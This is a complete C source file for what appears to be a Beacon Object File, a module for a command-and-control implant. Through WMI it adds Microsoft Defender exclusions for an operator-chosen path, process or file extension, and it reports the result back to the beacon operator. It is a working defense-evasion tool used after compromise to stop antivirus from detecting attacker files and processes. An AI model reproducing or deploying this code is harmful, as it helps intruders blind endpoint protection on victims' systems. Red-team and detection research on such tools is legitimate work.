addexclusion.c 5.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140
  1. #include <stdio.h>
  2. #include <Windows.h>
  3. #include <wbemidl.h>
  4. #include "addexclusion.h"
  5. #include "beacon.h"
  6. #pragma comment(lib, "wbemuuid.lib")
  7. #pragma comment(lib, "ole32.lib")
  8. #pragma comment(lib, "oleaut32.lib")
  9. typedef enum {
  10. EXCLUSION_TYPE_PATH,
  11. EXCLUSION_TYPE_PROCESS,
  12. EXCLUSION_TYPE_EXTENSION
  13. } EXCLUSION_TYPE;
  14. INT AddDefenderExclusion(const WCHAR* exclData, EXCLUSION_TYPE type) {
  15. HRESULT hr;
  16. IWbemLocator* pLoc = NULL;
  17. IWbemServices* pSvc = NULL;
  18. IWbemClassObject* pClass = NULL;
  19. IWbemClassObject* pInSignature = NULL;
  20. IWbemClassObject* pClassInstance = NULL;
  21. SAFEARRAY* psaStrings = NULL;
  22. BSTR Clname = NULL;
  23. BSTR MethodName = NULL;
  24. int result = 0;
  25. hr = OLE32$CoInitializeEx(0, COINIT_MULTITHREADED);
  26. if (FAILED(hr)) goto Cleanup;
  27. hr = OLE32$CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
  28. if (FAILED(hr)) goto Cleanup;
  29. IID CLSIDWbemLocator = {0x4590f811, 0x1d3a, 0x11d0, {0x89, 0x1f, 0x00, 0xaa, 0x00, 0x4b, 0x2e, 0x24}};
  30. IID IIDIWbemLocator = {0xdc12a687, 0x737f, 0x11cf, {0x88, 0x4d, 0x00, 0xaa, 0x00, 0x4b, 0x2e, 0x24}};
  31. hr = OLE32$CoCreateInstance(&CLSIDWbemLocator, 0, CLSCTX_INPROC_SERVER, &IIDIWbemLocator, (LPVOID*)&pLoc);
  32. if (FAILED(hr)) goto Cleanup;
  33. Clname = OLEAUT32$SysAllocString(L"ROOT\\Microsoft\\Windows\\Defender");
  34. hr = pLoc->lpVtbl->ConnectServer(pLoc, Clname, NULL, NULL, 0, NULL, 0, 0, &pSvc);
  35. OLEAUT32$SysFreeString(Clname);
  36. if (FAILED(hr)) goto Cleanup;
  37. hr = OLE32$CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
  38. if (FAILED(hr)) goto Cleanup;
  39. Clname = OLEAUT32$SysAllocString(L"MSFT_MpPreference");
  40. MethodName = OLEAUT32$SysAllocString(L"Add");
  41. hr = pSvc->lpVtbl->GetObject(pSvc, Clname, 0, NULL, &pClass, NULL);
  42. hr = pClass->lpVtbl->GetMethod(pClass, MethodName, 0, &pInSignature, NULL);
  43. OLEAUT32$SysFreeString(MethodName);
  44. if (FAILED(hr)) goto Cleanup;
  45. hr = pInSignature->lpVtbl->SpawnInstance(pInSignature, 0, &pClassInstance);
  46. if (FAILED(hr)) goto Cleanup;
  47. SAFEARRAYBOUND rgsaBounds[1];
  48. rgsaBounds[0].cElements = 1;
  49. rgsaBounds[0].lLbound = 0;
  50. psaStrings = OLEAUT32$SafeArrayCreate(VT_BSTR, 1, rgsaBounds);
  51. VARIANT vString;
  52. OLEAUT32$VariantInit(&vString);
  53. V_VT(&vString) = VT_BSTR;
  54. V_BSTR(&vString) = OLEAUT32$SysAllocString(exclData);
  55. LONG lArrayIndex = 0;
  56. OLEAUT32$SafeArrayPutElement(psaStrings, &lArrayIndex, V_BSTR(&vString));
  57. OLEAUT32$SysFreeString(V_BSTR(&vString));
  58. VARIANT vStringList;
  59. OLEAUT32$VariantInit(&vStringList);
  60. V_VT(&vStringList) = VT_ARRAY | VT_BSTR;
  61. V_ARRAY(&vStringList) = psaStrings;
  62. WCHAR* propertyName;
  63. switch (type) {
  64. case EXCLUSION_TYPE_PATH:
  65. propertyName = L"ExclusionPath";
  66. break;
  67. case EXCLUSION_TYPE_PROCESS:
  68. propertyName = L"ExclusionProcess";
  69. break;
  70. case EXCLUSION_TYPE_EXTENSION:
  71. propertyName = L"ExclusionExtension";
  72. break;
  73. default:
  74. hr = E_INVALIDARG;
  75. goto Cleanup;
  76. }
  77. hr = pClassInstance->lpVtbl->Put(pClassInstance, propertyName, 0, &vStringList, CIM_STRING|CIM_FLAG_ARRAY);
  78. if (FAILED(hr)) goto Cleanup;
  79. hr = pSvc->lpVtbl->ExecMethod(pSvc, Clname, MethodName, 0, NULL, pClassInstance, NULL, NULL);
  80. if (FAILED(hr)) {
  81. result = 2;
  82. goto Cleanup;
  83. }
  84. result = 1;
  85. Cleanup:
  86. if (psaStrings) OLEAUT32$SafeArrayDestroy(psaStrings);
  87. if (Clname) OLEAUT32$SysFreeString(Clname);
  88. if (pLoc) pLoc->lpVtbl->Release(pLoc);
  89. if (pSvc) pSvc->lpVtbl->Release(pSvc);
  90. if (pClass) pClass->lpVtbl->Release(pClass);
  91. if (pInSignature) pInSignature->lpVtbl->Release(pInSignature);
  92. if (pClassInstance) pClassInstance->lpVtbl->Release(pClassInstance);
  93. OLE32$CoUninitialize();
  94. return result;
  95. }
  96. int go(char *args, int len) {
  97. int result = 0;
  98. CHAR* exclType = ""; //path | process | extension
  99. WCHAR* exclData = L"";
  100. datap parser;
  101. BeaconDataParse(&parser, args, len);
  102. exclType = BeaconDataExtract(&parser, NULL);
  103. exclData = BeaconDataExtract(&parser, NULL);
  104. if(MSVCRT$strcmp(exclType, "path") == 0) result = AddDefenderExclusion(exclData, EXCLUSION_TYPE_PATH);
  105. else if(MSVCRT$strcmp(exclType, "process") == 0) result = AddDefenderExclusion(exclData, EXCLUSION_TYPE_PROCESS);
  106. else if(MSVCRT$strcmp(exclType, "extension") == 0) result = AddDefenderExclusion(exclData, EXCLUSION_TYPE_EXTENSION);
  107. else {
  108. BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following exclusion types: path (folder/file), process, extension.\n");
  109. return 0;
  110. }
  111. if(result == 1) BeaconPrintf(CALLBACK_OUTPUT, "[+] The following exclusion was successfully added: %ls\n", exclData);
  112. else if (result == 2) BeaconPrintf(CALLBACK_ERROR, "Failed to add the exclusion. Do you have sufficient permissions?");
  113. else BeaconPrintf(CALLBACK_ERROR, "Failed to add exclusion. COM error occurred!\n");
  114. return 0;
  115. }